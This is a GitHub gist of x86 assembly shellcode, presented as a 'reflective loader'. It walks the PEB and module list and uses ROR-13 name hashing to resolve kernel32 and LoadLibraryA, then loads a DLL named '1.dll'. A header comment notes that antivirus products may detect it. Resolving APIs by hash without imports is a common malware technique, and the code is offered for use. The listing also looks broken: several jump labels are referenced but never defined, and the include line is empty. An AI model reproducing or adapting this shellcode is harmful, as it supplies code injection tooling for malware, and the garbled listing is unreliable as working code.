Instantly share code, notes, and snippets.

What would you like to do?
; Reflective Loader shellcode loading a DLL
; ===============================================
; Posted on by @ArnaudDlms
; Written in x86 ASM with Flat Assembler
; No junk code added so executable might be detected as malicious by AVs
; Host process must be 32-bit
; Inspired by the following C code by Stephen Fewer :
include ''
add esp, -40h
xor edx, edx
mov edx, [fs:edx+30h] ; Getting PEB structure
mov edx, [edx+0Ch] ; Getting a pointer to the PEB_LDR_DATA field
; struct PEB {
; BOOLEAN InheritedAddressSpace;
; BOOLEAN ReadImageFileExecOptions;
; BOOLEAN BeingDebugged;
; BOOLEAN Spare;
; HANDLE Mutant;
; PVOID ImageBaseAddress;
; --> PPEB_LDR_DATA LoaderData;
; [...]
mov edx, [edx+14h] ; Getting a pointer to the InMemOrderModuleList field
; struct PEB_LDR_DATA {
; ULONG Length;
; BOOLEAN Initialized;
; PVOID SsHandle;
; LIST_ENTRY InLoadOrderModuleList;
; --> LIST_ENTRY InMemoryOrderModuleList;
; [...]
mov esi, [edx+28h] ; Getting a pointer to the FullDllName field Unicode string
; struct LDR_MODULE {
; mLIST InLoadOrderModuleList; // Pointer to the next LDR_MODULE in load order
; mLIST InMemoryOrderModuleList;
; mLIST InInitializationOrderModuleList;
; PVOID BaseAddress; // HMODULE
; PVOID EntryPoint;
; ULONG SizeOfImage;
; --> UNICODE_STRING FullDllName;
; [...]
mov ecx, 18h
xor edi, edi
xor eax, eax
lods byte [esi]
cmp al, 61h
jl hash_next
sub al, 20h
ror edi, 0Dh
add edi, eax
loopd hash_loop
cmp edi, 6A4ABC5Bh ; Comparing with 'kernel32.dll' hash
mov ebx, [edx+10h] ; Saving the BaseAddress field, pointing to a IMAGE_DOS_HEADER struct
mov [ebp-4], ebx
mov edx, [edx] ; Next LDR_MODULE
jnz dllname_loop
mov ecx, [ebx+3Ch] ; Saving e_lfanew field
add ecx, ebx ; VA of NT Header modules. ebx -> NT Header ("PE...")
add ecx, 18h ; OptionalHeader field
add ecx, 60h ; DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] field (32-bit, 70h for 64-bit)
mov [ebp-8], ecx
mov ecx, [ecx] ; Getting VirtualAddress field
add ecx, ebx ; RVA -> VA of the Export Directory
push ecx
add ecx, 24h ; AddressOfNameOrdinals
mov ecx, [ecx]
add ecx, ebx ; RVA -> VA : Ordinal names array. We will use ordinals to locate the position in the AddressOfFunctions array
mov [ebp-12], ecx
pop ecx
push ecx
add ecx, 1Ch ; AddressOfFunctions
mov ecx, [ecx]
add ecx, ebx
mov [ebp-16], ecx
pop ecx
add ecx, 20h ; AddressOfNames field
mov ecx, [ecx]
add ecx, ebx ; RVA -> VA : Function names array
mov edx, [ecx]
add edx, ebx
mov esi, edx
functionnames_loop: ; Iterating through all function names to locate LoadLibraryA address
push ecx
mov ecx, 18h
xor edi, edi
hashnames_loop: ; Same hashing routine
xor eax, eax
lods byte [esi]
cmp al, 61h
jl hashnames_next
sub al, 20h
ror edi, 0Dh
add edi, eax
loopd hashnames_loop
cmp edi, 117B18BAh ; Comparing with 'LoadLibraryA' hash
pop ecx
jz name_found
add ecx, 4 ; Next function name
mov edx, [ecx]
add edx, [ebp-4]
mov esi, edx
mov edx, [ebp-12] ; Next function name ordinal
add edx, 2
mov [ebp-12], edx
jmp functionnames_loop
mov edx, [ebp-16] ; AddressOfFunctions array
add edx, [ebp-4] ; BaseAddress
xor eax, eax
mov ecx, [ebp-12] ; AddressOfNameOrdinals
mov ax, [ecx]
mov edx, 4
mul edx ; eax = ordinal*sizeof(DWORD)
mov edx, [ebp-16]
add edx, eax
mov edx, [edx]
add edx, [ebp-4] ; edx now contains the LoadLibraryA function's address
mov [ebp-29], byte 0
mov [ebp-30], byte 'l'
mov [ebp-31], byte 'l'
mov [ebp-32], byte 'd'
mov [ebp-33], byte '.'
mov [ebp-34], byte '1' ; DLL you want to load
lea eax, [ebp-34]
push eax
call edx ; LoadLibraryA
invoke ExitProcess, 0
.end start

This comment has been minimized.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment